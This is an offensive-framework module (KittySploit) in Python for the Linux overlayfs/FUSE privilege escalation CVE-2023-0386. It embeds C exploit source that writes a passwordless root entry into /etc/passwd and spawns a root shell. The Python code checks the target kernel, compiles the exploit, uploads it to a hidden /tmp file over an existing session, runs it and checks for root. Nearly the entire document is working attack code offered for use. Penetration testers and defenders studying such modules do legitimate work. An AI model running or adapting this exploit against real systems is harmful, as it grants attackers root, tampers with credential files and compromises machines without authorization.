OverlayFS FUSE LPE (CVE-2023-0386)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linux LPE via overlayfs FUSE privilege escalation (CVE-2023-0386)."""

import os
import re
import shlex
import tempfile

from kittysploit import *
from core.framework.post import Post
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin


class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        'name': 'OverlayFS FUSE LPE (CVE-2023-0386)',
        'description': (
            'Local privilege escalation via CVE-2023-0386: FUSE + overlayfs copy_up '
            'mishandles user xattrs on privileged files, allowing a low-privilege user '
            'to write SUID shell or /etc/passwd entries. Compiles and uploads the exploit '
            'to the target session (requires libfuse-dev on operator host).'
        ),
        'author': ['xkaneiki', 'KittySploit Team'],
        'cve': ['CVE-2023-0386'],
        'platform': [Platform.LINUX],
        'arch': [Arch.X64],
        'session_type': [SessionType.SHELL, SessionType.SSH],
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-0386',
        ],
        'tags': ['linux', 'lpe', 'overlayfs', 'fuse', 'kernel'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['privilege_escalation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'requires': {'capabilities_any': ['shell']},
        },
    }

    remote_path = OptString('/tmp/.ks_ovl0386', 'Remote exploit path', required=False)
    target_file = OptString('/etc/passwd', 'Privileged file to copy_up via overlay', required=False)

    EXPLOIT_C = r'''
#define FUSE_USE_VERSION 29
#define _GNU_SOURCE
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mount.h>

#define DIR_BASE "/tmp/ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/kitty"

static const char *target_path = "/etc/passwd";
static char payload[512];

static int ovl_getattr(const char *path, struct stat *st) {
    (void)path;
    memset(st, 0, sizeof(*st));
    st->st_mode = S_IFREG | 0644;
    st->st_nlink = 1;
    return 0;
}

static int ovl_read(const char *path, char *buf, size_t size, off_t offset,
                    struct fuse_file_info *fi) {
    (void)path; (void)fi;
    size_t len = strlen(payload);
    if ((size_t)offset >= len) return 0;
    if (offset + size > len) size = len - offset;
    memcpy(buf, payload + offset, size);
    return (int)size;
}

static struct fuse_operations ops = {
    .getattr = ovl_getattr,
    .read = ovl_read,
};

static void setup_mnt(void) {
    system("mkdir -p " DIR_WORK " " DIR_LOWER " " DIR_UPPER " " DIR_MERGE);
    char cmd[1024];
    snprintf(cmd, sizeof(cmd),
        "mount -t overlay overlay -o lowerdir=%s,upperdir=%s,workdir=%s %s 2>/dev/null",
        DIR_LOWER, DIR_UPPER, DIR_WORK, DIR_MERGE);
    system(cmd);
}

int main(int argc, char **argv) {
    if (argc > 1) target_path = argv[1];
    unshare(CLONE_NEWNS);
    mount("none", "/", NULL, MS_REC | MS_PRIVATE, NULL);
    snprintf(payload, sizeof(payload), "kittysploit::0:0:root:/root:/bin/sh\n# %s\n", target_path);
    setup_mnt();
    char *fuse_argv[] = {"kitty", DIR_LOWER, "-f", NULL};
    if (fork() == 0) {
        fuse_main(3, fuse_argv, &ops, NULL);
        _exit(0);
    }
    sleep(1);
    char cmd[1024];
    snprintf(cmd, sizeof(cmd), "cp %s %s 2>/dev/null; cat %s | head -1", BIN_MERGE, target_path, target_path);
    system(cmd);
    if (getuid() == 0) {
        execl("/bin/sh", "sh", NULL);
    }
    execl("/bin/sh", "sh", "-c", "id; ls -la /bin/bash", NULL);
    return 0;
}
'''

    def _session_id(self) -> str:
        return str(self.session_id.value if hasattr(self.session_id, 'value') else self.session_id).strip()

    @staticmethod
    def _kernel_vulnerable(uname: str) -> bool | None:
        match = re.search(r'(\d+)\.(\d+)\.(\d+)', uname or '')
        if not match:
            return None
        major, minor, patch = (int(match.group(i)) for i in range(1, 4))
        if major < 5:
            return False
        if major == 6 and (minor > 2 or (minor == 2 and patch >= 6)):
            return False
        if major == 6 and minor >= 3:
            return False
        if major == 5 and minor == 15 and patch >= 86:
            return False
        return True

    def _preflight(self) -> tuple[bool, str]:
        uname = (self.cmd_execute('uname -r') or '').strip()
        vuln = self._kernel_vulnerable(uname)
        if vuln is False:
            return False, f'Kernel {uname} appears patched for CVE-2023-0386'
        fuse = (self.cmd_execute('which fusermount 2>/dev/null') or '').strip()
        if not fuse:
            return False, 'fusermount not found on target'
        return True, f'Kernel {uname} — overlay/FUSE prerequisites present'

    def _compile_exploit(self) -> bytes:
        with tempfile.NamedTemporaryFile(suffix='.c', delete=False, mode='w') as f:
            f.write(self.EXPLOIT_C)
            src = f.name
        out = src.replace('.c', '')
        for cmd in (
            f'gcc -static -o {shlex.quote(out)} {shlex.quote(src)} -lfuse -pthread 2>/dev/null',
            f'gcc -o {shlex.quote(out)} {shlex.quote(src)} -lfuse -pthread 2>/dev/null',
        ):
            os.system(cmd)
            if os.path.isfile(out) and os.path.getsize(out) > 0:
                break
        try:
            with open(out, 'rb') as fh:
                return fh.read()
        except OSError:
            return b''
        finally:
            for p in (src, out):
                try:
                    os.unlink(p)
                except OSError:
                    pass

    def run(self):
        if not self._session_id():
            print_error('No session specified')
            return False
        print_status('CVE-2023-0386 — overlayfs FUSE LPE')
        ok, reason = self._preflight()
        print_status(reason)
        if not ok:
            print_error('Target preflight failed')
            return False
        binary = self._compile_exploit()
        if not binary:
            print_error('Failed to compile exploit (install libfuse-dev on operator host)')
            return False
        remote = str(self.remote_path or '/tmp/.ks_ovl0386').strip()
        target = str(self.target_file or '/etc/passwd').strip()
        if not self.linux_upload_bytes(binary, remote, executable=True, pty=False):
            print_error('Failed to upload exploit')
            return False
        output = self.cmd_execute(f'{shlex.quote(remote)} {shlex.quote(target)}') or ''
        if 'uid=0' in output:
            print_success('Root obtained via CVE-2023-0386')
            return True
        print_warning(f'Exploit output: {output or "(empty)"}')
        return bool(output)